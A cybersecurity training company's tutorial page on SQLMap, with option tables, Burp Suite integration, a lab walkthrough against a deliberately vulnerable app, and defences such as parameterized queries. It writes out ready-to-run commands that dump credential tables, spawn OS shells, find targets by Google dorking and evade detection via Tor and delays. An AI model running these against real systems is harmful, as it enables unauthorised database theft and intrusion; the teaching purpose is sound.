SQLMap Commands & Tutorial 2026 | Complete SQL Injection Testing Guide | A7 Security Hunters

A7 Security Hunters · SQL Injection Testing

Table of Contents

SQLMap Commands & Tutorial (2026) — Complete SQL Injection Testing Guide

Master SQLMap with practical commands, database discovery, SQL injection testing, request analysis, authentication options, troubleshooting, and authorized web security lab examples. Built for Google, ChatGPT, Gemini, Claude, Perplexity, and Copilot readability (AEO · GEO · LLMO · AI SEO).

100+ Commands30+ FAQs15+ Tables6 Detection Techniques15+ Sources

⚡ 60-Second Summary

SQLMap is an open-source penetration testing tool that automates the detection and exploitation of SQL injection vulnerabilities. It’s written in Python and is considered the industry standard for SQL injection testing. SQLMap supports virtually every database management system (DBMS) including MySQL, PostgreSQL, Oracle, Microsoft SQL Server, and SQLite.

  • Detection: Automatically identifies SQL injection vulnerabilities in GET/POST parameters, cookies, and headers
  • Enumeration: Extracts database names, tables, columns, and data from vulnerable applications
  • Exploitation: Supports in-band, out-of-band, time-based blind, and boolean-based blind techniques
  • Integration: Works with Burp Suite, proxy chains, and custom HTTP requests
  • Automation: Save and replay requests, optimize injection, and export results

Remember one command first: sqlmap -u "http://target.com/page?id=1" --batch — automated SQL injection detection with all default options.

What you will learnWhat SQLMap is, what SQL injection is, and how SQLMap fits into web application security testing.
Installation & setupInstall SQLMap on Kali Linux, Windows, and macOS with Python dependencies.
Commands & optionsEvery major SQLMap option grouped by purpose — target, request, authentication, enumeration, and reporting.
Professional workflowReal SQL injection testing methodology, integration with Burp Suite, and authorized lab walkthroughs.
← Nmap → Burp Suite → SQLMap → Metasploit → Wireshark

Quick Answer: What Is SQLMap?

What is SQLMap?

SQLMap is an open-source, Python-based penetration testing tool that automates the detection and exploitation of SQL injection vulnerabilities in web applications. It supports nearly all database management systems (DBMS) and can identify injection points in GET/POST parameters, cookies, and HTTP headers. SQLMap can enumerate database schemas, extract tables and data, and even provides options for file system access and command execution — all through a command-line interface.

Core workflow: sqlmap -u "http://target.com/page?id=1" --dbs → identify injection → enumerate databases → extract tables → dump data.

Beginner’s Guide to SQLMap and SQL Injection

What Is SQL Injection?

SQL injection (SQLi) is a web security vulnerability that allows attackers to interfere with the queries an application makes to its database. It occurs when user-supplied input is incorrectly filtered for SQL statements — allowing attackers to execute arbitrary SQL commands on the underlying database.

Vulnerable SQL query example
# Vulnerable PHP code
$id = $_GET['id'];
$query = "SELECT * FROM users WHERE id = $id";
# If id = 1 OR 1=1, the query becomes:
# SELECT * FROM users WHERE id = 1 OR 1=1
# Returns ALL users — authentication bypass

SQL Injection Types

TypeDescriptionSQLMap Technique
In-Band (Classic)Results are returned directly in the application responseUNION query, error-based
Error-BasedDatabase error messages reveal structureError-based injection
Union-BasedUNION SELECT statements extract dataUNION query
Boolean-Based BlindApplication behavior changes (true/false conditions)Boolean-based blind
Time-Based BlindApplication delays (e.g., SLEEP()) indicate successTime-based blind
Out-of-BandData is exfiltrated via DNS/HTTP to an external serverDNS exfiltration

Why SQL Injection Matters

SQL injection remains one of the most critical web application vulnerabilities. According to industry reports:

  • OWASP Top 10 (2021): Injection (A03) is consistently in the top 3 most critical web vulnerabilities
  • Verizon DBIR 2025: Vulnerability exploitation (including SQLi) was a top-2 initial access vector
  • CISA KEV: Multiple SQL injection vulnerabilities are actively exploited in the wild
Key concept SQL injection is a developer mistake, not a flaw in SQL itself. Proper input validation and parameterized queries eliminate the risk — but until they’re implemented, tools like SQLMap help identify where the mistakes exist.

Installation Guide

Kali Linux (Recommended)

SQLMap is pre-installed on Kali Linux. To update to the latest version:

Update SQLMap on Kali
sudo apt update
sudo apt install sqlmap
# Or clone from GitHub for the latest development version
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git

Linux (Debian/Ubuntu)

Install SQLMap on Debian/Ubuntu
sudo apt update
sudo apt install -y sqlmap
# Or install via pip
pip install --user sqlmap

macOS

Install SQLMap on macOS
# Using Homebrew
brew install sqlmap

# Or using pip
pip install sqlmap

Windows

SQLMap requires Python 3.8+ on Windows:

  1. Install Python from python.org (check “Add Python to PATH”)
  2. Open Command Prompt as Administrator
  3. Run: pip install sqlmap
  4. Or clone the GitHub repository and run from there
Windows installation
# Install SQLMap via pip
pip install sqlmap

# Or clone and run directly
git clone https://github.com/sqlmapproject/sqlmap.git
cd sqlmap
python sqlmap.py

Verify Installation

Check version
sqlmap --version
# Version: 1.8.12 (or later)

# Verify with a simple help command
sqlmap -h

SQLMap Basic Commands — The Essentials

Every SQLMap command follows this general syntax:

Syntax
sqlmap [options] -u <URL>
CommandPurposeExample
-uTarget URLsqlmap -u "http://target.com/page?id=1"
--batchNever ask for user input; use defaultssqlmap -u "http://target.com/page?id=1" --batch
--dbsEnumerate database namessqlmap -u "http://target.com/page?id=1" --dbs
-D <db>Target a specific databasesqlmap -u "http://target.com/page?id=1" -D users
--tablesEnumerate tables in a databasesqlmap -u "http://target.com/page?id=1" -D users --tables
-T <table>Target a specific tablesqlmap -u "http://target.com/page?id=1" -T credentials
--columnsEnumerate columns in a tablesqlmap -u "http://target.com/page?id=1" -T credentials --columns
--dumpExtract data from a tablesqlmap -u "http://target.com/page?id=1" -T credentials --dump
--levelSet testing level (1-5; default 1)sqlmap -u "http://target.com/page?id=1" --level=3
--riskSet risk level (1-3; default 1)sqlmap -u "http://target.com/page?id=1" --risk=2
Remember these first The most common workflow: --dbs → pick a DB → --tables → pick a table → --dump. Always start with --batch to automate the prompts.

Target URL Options

SQLMap supports multiple ways to specify targets — from simple URLs to complex configuration files.

OptionPurposeExample
-uSingle target URLsqlmap -u "http://target.com/page?id=1"
--urlAlternative to -usqlmap --url "http://target.com/page?id=1"
-mRead targets from a file (one URL per line)sqlmap -m targets.txt
-rLoad HTTP request from a file (Burp Suite export)sqlmap -r request.txt
-gGoogle dork — use Google results as targetssqlmap -g "inurl:product.php?id="
-cLoad configuration from an INI filesqlmap -c sqlmap.ini
Using -r with a Burp Suite request file
# Export a request from Burp Suite → right-click → Copy as curl
# Save to request.txt:
GET /product?id=1 HTTP/1.1
Host: target.com
User-Agent: Mozilla/5.0
Cookie: session=abc123

# Then run:
sqlmap -r request.txt

Request & HTTP Options

Configure how SQLMap sends HTTP requests to the target.

OptionPurposeExample
--dataData string to send in a POST requestsqlmap -u "http://target.com/login" --data="user=admin&pass=test"
--methodForce HTTP method (GET, POST, PUT, DELETE)sqlmap -u "http://target.com/api" --method=POST --data="json"
--cookieSend a specific cookiesqlmap -u "http://target.com/page?id=1" --cookie="session=abc123"
--headersAdd custom HTTP headerssqlmap -u "http://target.com/page?id=1" --headers="X-Forwarded-For: 127.0.0.1"
--user-agentSet custom User-Agentsqlmap -u "http://target.com/page?id=1" --user-agent="Mozilla/5.0 (Windows NT 10.0)"
--refererSet Referer headersqlmap -u "http://target.com/page?id=1" --referer="http://google.com"
--hostSet Host headersqlmap -u "http://target.com/page?id=1" --host="api.target.com"
--delayDelay between requests (seconds)sqlmap -u "http://target.com/page?id=1" --delay=2
--timeoutRequest timeout (seconds)sqlmap -u "http://target.com/page?id=1" --timeout=30
--retriesNumber of retries on failuresqlmap -u "http://target.com/page?id=1" --retries=3
--proxyUse an HTTP/HTTPS proxysqlmap -u "http://target.com/page?id=1" --proxy="http://127.0.0.1:8080"
--torRoute requests through Torsqlmap -u "http://target.com/page?id=1" --tor
--threadsNumber of threads (max 10)sqlmap -u "http://target.com/page?id=1" --threads=5
Tip Use --proxy="http://127.0.0.1:8080" to route SQLMap through Burp Suite — you’ll see all requests in Burp’s HTTP History.

Authentication Options

SQLMap supports multiple authentication methods to access protected applications.

OptionPurposeExample
--auth-typeAuthentication type (Basic, Digest, NTLM)sqlmap -u "http://target.com/page?id=1" --auth-type=Basic
--auth-credCredentials for authenticationsqlmap -u "http://target.com/page?id=1" --auth-cred="admin:password"
--cookieSession cookie (for form-based auth)sqlmap -u "http://target.com/page?id=1" --cookie="PHPSESSID=abc123"
--drop-set-cookieIgnore Set-Cookie headers from serversqlmap -u "http://target.com/page?id=1" --drop-set-cookie
--auth-fileLoad certificate for client certificate authsqlmap -u "http://target.com/page?id=1" --auth-file="cert.pem"
Cookie-based authentication example
# First, log in to the application manually
# Copy the session cookie from browser developer tools
# Then use it in SQLMap:
sqlmap -u "http://target.com/dashboard?id=1" --cookie="PHPSESSID=abc123; security=low"

Database Enumeration

These options control what information SQLMap extracts from the target database.

OptionPurposeExample
--dbsEnumerate all database namessqlmap -u "http://target.com/page?id=1" --dbs
-D <db>Target a specific databasesqlmap -u "http://target.com/page?id=1" -D production
--tablesEnumerate tables in a databasesqlmap -u "http://target.com/page?id=1" -D production --tables
-T <table>Target a specific tablesqlmap -u "http://target.com/page?id=1" -T users
--columnsEnumerate columns in a tablesqlmap -u "http://target.com/page?id=1" -T users --columns
-C <col>Target specific columnssqlmap -u "http://target.com/page?id=1" -C "username,password"
--dumpExtract data from a tablesqlmap -u "http://target.com/page?id=1" -T users --dump
--dump-allDump all data from all tablessqlmap -u "http://target.com/page?id=1" --dump-all
--startStart from a specific row indexsqlmap -u "http://target.com/page?id=1" -T users --dump --start=100
--stopStop at a specific row indexsqlmap -u "http://target.com/page?id=1" -T users --dump --stop=200
--exclude-sysdbsExclude system databasessqlmap -u "http://target.com/page?id=1" --dbs --exclude-sysdbs
Complete enumeration workflow
# 1. Find the injection point
sqlmap -u "http://target.com/product?id=1" --batch

# 2. Enumerate databases
sqlmap -u "http://target.com/product?id=1" --dbs

# 3. Target a database and enumerate tables
sqlmap -u "http://target.com/product?id=1" -D production --tables

# 4. Target a table and enumerate columns
sqlmap -u "http://target.com/product?id=1" -T users --columns

# 5. Dump the data
sqlmap -u "http://target.com/product?id=1" -T users --dump

Database Identification

SQLMap automatically identifies the database management system, but you can also target specific DBMSes.

OptionPurposeExample
--dbmsForce a specific DBMSsqlmap -u "http://target.com/page?id=1" --dbms=mysql
--dbms-credDatabase credentials for authenticationsqlmap -u "http://target.com/page?id=1" --dbms-cred="user:pass"
--osForce a specific operating systemsqlmap -u "http://target.com/page?id=1" --os=linux
--bannerRetrieve database banner/versionsqlmap -u "http://target.com/page?id=1" --banner
Supported DBMS values mysql, oracle, postgresql, mssql, access, db2, sqlite, firebird, sybase, sapmaxdb, informix, mariadb, vertica, ingres, and many more.

SQLMap Detection Techniques

SQLMap uses five primary techniques to detect and exploit SQL injection. You can specify which techniques to use.

TechniqueFlagDescriptionSpeed
Boolean-based blindBTests boolean conditions (true/false) via page content differencesMedium
Error-basedELeverages database error messages to extract dataFast
Time-based blindTUses time delays (SLEEP()) to infer dataVery slow
UNION queryUUses UNION SELECT statements to extract data directlyFast
Stacked queriesSExecutes multiple SQL statementsFast
Specify detection techniques
# Use only error-based and time-based blind techniques
sqlmap -u "http://target.com/page?id=1" --technique=ET

# Use all techniques except time-based blind
sqlmap -u "http://target.com/page?id=1" --technique=BEUS

# Default (all techniques)
sqlmap -u "http://target.com/page?id=1"
Performance tip Time-based blind is the slowest technique (delays of 5+ seconds per request). Skip it unless necessary with --technique=BEUS (excludes T).

Working With HTTP Requests

SQLMap can load and test requests in multiple formats — including direct from Burp Suite.

Using -r with Request Files

Sample request.txt file
GET /product.php?id=1&user=admin HTTP/1.1
Host: target.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Accept: text/html,application/xhtml+xml
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=abc123; security=low
Run SQLMap with request file
sqlmap -r request.txt --batch

POST Request with –data

Testing a POST request
sqlmap -u "http://target.com/login" --data="username=admin&password=test" --batch

Cookie Injection

Testing cookies for injection
sqlmap -u "http://target.com/profile" --cookie="userid=1; session=xyz" --level=2

Header Injection

Testing HTTP headers for injection
sqlmap -u "http://target.com/page" --headers="X-Forwarded-For: 127.0.0.1" --level=3

Using SQLMap With Burp Suite

SQLMap and Burp Suite work together seamlessly. This integration gives you visibility into every request SQLMap sends and the responses it receives.

Method 1 — Proxy SQLMap Through Burp

Route SQLMap through Burp Proxy
# Run Burp Suite with proxy on 127.0.0.1:8080
# Then run SQLMap with proxy configuration
sqlmap -u "http://target.com/page?id=1" --proxy="http://127.0.0.1:8080" --batch

Method 2 — Export Requests from Burp

  1. In Burp Suite, find a request in HTTP History
  2. Right-click → Copy as curl command
  3. Paste into a file (request.txt)
  4. Run: sqlmap -r request.txt

Method 3 — Copy as SQLMap Command

Some Burp extensions (like “Copy as SQLMap”) generate SQLMap commands directly from intercepted requests.

Pro tip When proxying through Burp, you can modify SQLMap requests in Burp’s Repeater, inspect responses, and even save them for later analysis — giving you complete control over the automated testing process.

SQLMap With Cookies

Many applications require authentication via session cookies. SQLMap handles cookies in several ways.

MethodExample
Single cookiesqlmap -u "http://target.com/page?id=1" --cookie="PHPSESSID=abc123"
Multiple cookiessqlmap -u "http://target.com/page?id=1" --cookie="PHPSESSID=abc123; security=low"
Load from filesqlmap -u "http://target.com/page?id=1" --cookie-file="/path/to/cookies.txt"
Using -r with cookiesInclude Cookie: PHPSESSID=abc123 in the request file
Cookie injection test (higher level required)
# SQLMap tests cookies at level 2+ and risk 1+
sqlmap -u "http://target.com/profile" --cookie="userid=1" --level=2 --risk=2
Note SQLMap tests cookie parameters by default at --level 2 and above. Use --level=2 --risk=2 for comprehensive cookie testing.

SQLMap With POST Requests

Testing POST requests is straightforward with SQLMap’s --data option.

Basic POST request test
sqlmap -u "http://target.com/login" --data="username=admin&password=test" --batch
POST request with JSON data
sqlmap -u "http://target.com/api/users" --data='{"username":"admin","password":"test"}' --headers="Content-Type: application/json"
POST request with multipart form data
sqlmap -u "http://target.com/upload" --data="file=test.txt&description=test" --headers="Content-Type: multipart/form-data"

Using -r for POST Requests

Export a POST request from Burp Suite to a file and use -r:

POST request file
POST /login HTTP/1.1
Host: target.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

username=admin&password=test
Run with request file
sqlmap -r login_request.txt

Output & Reporting

SQLMap provides several output formats to save and share your findings.

OptionPurposeExample
--output-dirDirectory for output filessqlmap -u "http://target.com/page?id=1" --output-dir=/path/to/results
--batchNon-interactive modesqlmap -u "http://target.com/page?id=1" --batch
--flush-sessionClear session files and start freshsqlmap -u "http://target.com/page?id=1" --flush-session
--fresh-queriesIgnore saved query resultssqlmap -u "http://target.com/page?id=1" --fresh-queries
--csv-delimCSV delimiter for outputsqlmap -u "http://target.com/page?id=1" --csv-delim=";"
Save results to a specific directory
sqlmap -u "http://target.com/product?id=1" --output-dir=./sqlmap-results --batch
Pro tip SQLMap saves session files in ~/.sqlmap/. Use --flush-session to clear previous results when re-testing the same target.

Common SQLMap Errors & Solutions

ErrorCauseSolution
No injection point foundParameter not injectable or no injection detectedTry --level=3 --risk=2; test different parameters; manually verify vulnerability
Connection timed outTarget is slow or firewall is blockingIncrease --timeout=30; add --delay=2; check proxy/firewall
SQLMap cannot connectProxy settings or network issuesCheck --proxy configuration; verify target URL is reachable
Missing parameter(s)URL has required parametersEnsure all required GET/POST parameters are included in -u or --data
Certificate verification failedSSL certificate issueAdd --ignore-proxy or --no-cache; use --invalid-ssl to skip verification
WARNING: Parameter is not vulnerableParameter tested but no injection foundTest other parameters; try different --technique; manually verify with Burp Suite

SQLMap vs Manual SQL Injection Testing

FactorSQLMap AutomationManual Testing
SpeedVery fast — tests hundreds of payloads in minutesSlow — each payload requires manual construction
CoverageComprehensive — tests all techniques and parametersLimited — only tests what the tester thinks to check
DetectionAutomatically detects injection pointsRequires understanding of injection signatures
False PositivesMay produce false positives on complex applicationsFewer false positives with experienced testers
LearningDoesn’t teach you how SQL injection worksBuilds deep understanding of vulnerability mechanics
ReportingGenerates structured outputRequires manual documentation
Best practice Use both: SQLMap for broad coverage and efficiency, manual testing for complex business logic where automation struggles. Always verify SQLMap findings manually before reporting.

SQLMap vs Other Web Security Tools

ToolPrimary UseBest For
SQLMapSQL injection detection & exploitationAutomated SQL injection testing
Burp SuiteWeb application security testingComprehensive manual & automated testing
NmapNetwork discoveryInfrastructure reconnaissance
MetasploitVulnerability validation & exploitationExploitation frameworks
OWASP ZAPOpen-source web testingAutomation & DevSecOps

SQLMap vs Other SQL Injection Tools

ToolDescriptionProsCons
SQLMapPython-based automationComprehensive, active development, supports all DBMSCan be noisy, requires Python
BBQSQLPython-based SQL injectionFlexible, good for blind injectionLess active development
NoSQLMapNoSQL injection testingSpecifically for NoSQLLimited to NoSQL injection
HavijGUI-based (Windows only)User-friendly, good for beginnersWindows only, less flexible

Authorized Lab Walkthrough — SQL Injection Testing in Action

Lab environment This lab uses a deliberately vulnerable virtual machine (OWASP Juice Shop or DVWA) deployed in a closed, authorized testing environment. All targets are under the control of the training organization.

Lab Scenario

Objective: Use SQLMap to identify and exploit an SQL injection vulnerability in a deliberately vulnerable web application. Extract sensitive data and generate a vulnerability report.

Step 1 — Identify the Target

After initial reconnaissance with Nmap and Burp Suite, we identify a potential injection point:

Target URL
http://192.168.1.100/product.php?id=1

Step 2 — Initial SQLMap Scan

Run SQLMap to check for injection points:

Initial scan
sqlmap -u "http://192.168.1.100/product.php?id=1" --batch

Finding: SQLMap identifies the id parameter as vulnerable to error-based SQL injection (MySQL).

Step 3 — Database Enumeration

Enumerate databases
sqlmap -u "http://192.168.1.100/product.php?id=1" --dbs

Finding: SQLMap identifies databases: information_schema, production, users.

Step 4 — Table Enumeration

Enumerate tables
sqlmap -u "http://192.168.1.100/product.php?id=1" -D production --tables

Finding: SQLMap identifies tables: users, orders, products.

Step 5 — Data Extraction

Dump data
sqlmap -u "http://192.168.1.100/product.php?id=1" -D production -T users --dump

Finding: SQLMap extracts user credentials including hashed passwords, usernames, and email addresses.

Step 6 — Report Generation

Document the findings:

  • Vulnerability: Error-based SQL injection in id parameter
  • Impact: Full database access — credentials, PII, order data
  • Risk: Critical
  • Remediation: Use parameterized queries; implement input validation; apply principle of least privilege
Lab takeaway This exercise demonstrates how a single unprotected parameter can lead to complete database compromise. It also shows why developers must understand SQL injection and how to prevent it — not just for security teams, but for everyone who writes database-backed applications.

Common SQLMap Mistakes — And How to Avoid Them

Running SQLMap without authorizationTesting systems you don’t own or have explicit permission to test is illegal.
✓ Fix: Always get written authorization before running any SQLMap test.
Not verifying findings manuallySQLMap can produce false positives, especially on complex applications.
✓ Fix: Always verify SQLMap findings manually using Burp Suite Repeater before reporting.
Using –batch and missing critical context–batch skips important prompts about the injection.
✓ Fix: Use –batch only when you understand the target; run interactively first to learn the application behavior.
Running at default level onlyDefault –level=1 misses injections in cookies, headers, and User-Agent.
✓ Fix: Use --level=3 --risk=2 for comprehensive testing.
Not saving outputUnsaved results are lost; you can’t reference them later for reporting.
✓ Fix: Use --output-dir and save all session data.
Using too many threads–threads > 10 can cause connection errors and detection.
✓ Fix: Keep --threads=5 for most targets; increase cautiously.
Forgetting to exclude system databasesDumping system databases wastes time and creates noise.
✓ Fix: Use --exclude-sysdbs to focus on application data.

Defensive Measures Against SQL Injection

Understanding how to prevent SQL injection is as important as knowing how to test for it. Here’s what every developer and security professional should implement:

Parameterized Queries (Prepared Statements)

The single most effective defense. Separates SQL logic from data, eliminating injection vectors.

Example (PHP/PDO)
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
$stmt->execute([$id]);

Input Validation & Sanitization

Validate input type, length, and format; use allowlists over denylists; escape special characters.

Least Privilege Principle

Database accounts should have minimal required permissions — no direct table access, no DDL statements, restricted to necessary operations.

Parameterized ORM

Use ORM frameworks (SQLAlchemy, Entity Framework, Hibernate) that abstract SQL and handle parameterization automatically.

Web Application Firewall (WAF)

WAFs can detect and block SQL injection attempts. Not a replacement for secure code, but a valuable layer of defense.

Regular Security Testing

Regular automated scanning with SQLMap and manual testing with Burp Suite should be part of every development lifecycle.

Remember SQL injection is a developer mistake, not a database flaw. Parameterized queries eliminate the risk entirely — making SQLMap finding “no injection” the goal, not the exception.

Frequently Asked Questions (30+ Answers)

What is SQLMap used for?

SQLMap is used for automated detection and exploitation of SQL injection vulnerabilities in web applications. It identifies injection points in HTTP parameters, cookies, and headers, then extracts database information like database names, tables, columns, and row data.

Is SQLMap legal?

SQLMap is legal software. Testing applications you own or have explicit written authorization to test is legal; testing others without authorization is illegal and violates computer-misuse laws.

Does SQLMap work on Windows?

Yes — SQLMap runs on Windows with Python 3.8+. Install via pip install sqlmap or clone from GitHub and run python sqlmap.py.

Is SQLMap installed on Kali Linux?

Yes — SQLMap is pre-installed on Kali Linux. Update with sudo apt update && sudo apt install sqlmap.

What is the difference between SQL injection and SQLMap?

SQL injection is a vulnerability class. SQLMap is a tool that automates the detection and exploitation of SQL injection vulnerabilities.

How do I use SQLMap with a POST request?

Use --data to specify POST data: sqlmap -u "http://target.com/login" --data="user=admin&pass=test". Or use -r with a request file containing the full POST request.

How do I use SQLMap with cookies?

Use --cookie to pass session cookies: sqlmap -u "http://target.com/page?id=1" --cookie="PHPSESSID=abc123". For cookie injection testing, use --level=2 --risk=2.

What databases does SQLMap support?

SQLMap supports MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase, SAP MaxDB, Informix, MariaDB, and several others.

How do I get all databases with SQLMap?

Use sqlmap -u "http://target.com/page?id=1" --dbs to list all database names. Add --exclude-sysdbs to filter out system databases.

What is the SQLMap –batch command?

--batch runs SQLMap in non-interactive mode, automatically selecting default options for all prompts. Useful for automation and scripting.

What is the SQLMap –level option?

--level sets the testing depth (1-5). Higher levels test more parameters, including cookies, headers, and User-Agent. Default is 1.

What is the SQLMap –risk option?

--risk sets the risk level (1-3). Higher risk levels use payloads that may be more intrusive or have a higher probability of impacting the application.

How do I dump data with SQLMap?

Use --dump to extract data: sqlmap -u "http://target.com/page?id=1" -D database -T table --dump. Add --start and --stop to limit row range.

How do I use SQLMap with Burp Suite?

Proxy SQLMap through Burp: sqlmap -u "http://target.com/page?id=1" --proxy="http://127.0.0.1:8080". Or export requests from Burp to a file and use -r.

What are the SQLMap techniques?

SQLMap uses five techniques: Boolean-based blind (B), Error-based (E), Time-based blind (T), UNION query (U), and Stacked queries (S). Specify with --technique.

Why is SQLMap so slow?

Time-based blind technique (T) is inherently slow due to intentional delays. Use --technique=BEUS to exclude T. Increase --threads and reduce --delay for speed.

How do I stop SQLMap?

Press Ctrl+C once to interrupt, twice to force exit. SQLMap will save progress in the session file.

What is a false positive in SQLMap?

A false positive is when SQLMap reports a vulnerability that doesn’t actually exist. This can happen on complex applications with custom error handling. Always verify findings manually.

What is the difference between –dbs and –dump?

--dbs lists all database names. --dump extracts data from a specified table. They are complementary: use --dbs to find databases, then --dump to extract data from them.

Can SQLMap execute system commands?

Yes, with --os-shell and --os-pwn, SQLMap can attempt to execute system commands on the target server (requires high privileges and specific conditions). Use with extreme caution and only on authorized targets.

What is the –os-shell option?

--os-shell attempts to spawn an interactive system shell on the target server. Requires file system write access and specific DBMS privileges. Only use on authorized targets.

What is the SQLMap output directory?

SQLMap saves session files and output to ~/.sqlmap/ by default. Use --output-dir to specify a custom location.

How do I use SQLMap with SSL?

Use --force-ssl to force HTTPS. For certificate issues, add --invalid-ssl to skip verification.

What is the difference between SQLMap and SQLi (manual)?

SQLMap automates the entire process — detection, exploitation, and data extraction. Manual SQL injection testing requires building and testing payloads by hand using tools like Burp Suite Repeater.

Can SQLMap be detected?

Yes — SQLMap’s automated requests can be detected by WAFs, IDS/IPS, and application logs. Use --delay, --proxy, and custom --user-agent to reduce detection risk.

What is the best SQL injection tool?

SQLMap is the most comprehensive and widely used SQL injection tool. For manual testing, Burp Suite is the industry standard. Use both together for best results.

What is SQLMap –dbms used for?

--dbms forces SQLMap to target a specific database management system (e.g., --dbms=mysql), optimizing payloads and techniques for that DBMS.

What is SQLMap –exclude-sysdbs used for?

--exclude-sysdbs filters out system databases like information_schema, mysql, and postgres, focusing enumeration on user-created databases.

How do I update SQLMap?

On Kali: sudo apt update && sudo apt upgrade sqlmap. From GitHub: git pull in the sqlmap directory. Via pip: pip install --upgrade sqlmap.

Is SQLMap open source?

Yes — SQLMap is open-source software released under the GPLv2 license. The source code is available on GitHub at github.com/sqlmapproject/sqlmap.

References & Authoritative Sources

SQLMap Official Website
Official downloads, documentation, and user guide.
SQLMap GitHub Repository
Source code, issue tracking, and development resources.
OWASP SQL Injection
Comprehensive SQL injection attack and prevention documentation.
OWASP Top 10 (2021)
Critical web application security risks including Injection (A03).
Verizon 2025 Data Breach Investigations Report (DBIR)
Industry data on vulnerability exploitation as an initial access vector.
CISA Known Exploited Vulnerabilities (KEV) Catalog
Authoritative list of vulnerabilities known to be exploited in the wild.
PortSwigger Web Security Academy — SQL Injection
Free labs and training for SQL injection testing.
NIST National Vulnerability Database (NVD)
CVE and CVSS scoring for vulnerability correlation.
MITRE ATT&CK Framework
Attack patterns and techniques including SQL injection mapping.
OWASP Juice Shop
Intentionally vulnerable web application for security training.
Burp Suite — Integration Partner
Pair SQLMap with Burp Suite for comprehensive web security testing.

Leave a Reply

Your email address will not be published. Required fields are marked *

About Us

A7 Security Hunters is a leading provider of cybersecurity certifications and training, offering both online and offline courses tailored to professionals at all levels. Our comprehensive programs cover key areas like ethical hacking, network security, and threat management, designed to equip individuals with the skills to succeed in the fast-paced world of cybersecurity. With expert instructors and hands-on learning, A7 Security Hunters ensures you gain practical knowledge and industry-recognized certifications to advance your career in cybersecurity.

Cybersecurity Training & Certifications

Most Recent Posts

A7 Security Hunters

Enroll in A7 Security Hunters' Certifications and Transform into a Cybersecurity Expert

A7 Security Hunters provides cybersecurity training, ethical hacking courses, penetration testing education, digital forensics training, AI security learning, and professional cybersecurity certifications for students and professionals across India.

Address: Mata Darwaja, Gau Karan Rd, Near SD School, landmark Gau Karn Traffic Police Choki, Plot 736a Baba Laxman Puri Colony, Makhane or, Library Wali Gali, Rohtak124001, Haryana (India) | Official Email Address- [email protected] | [email protected] | Official Phone Numbers – +91 – 7988-28-5508 | +91 – 818181-6323

© 2026 A7 Security Hunters. Cybersecurity Training, Ethical Hacking Courses & Professional Certifications.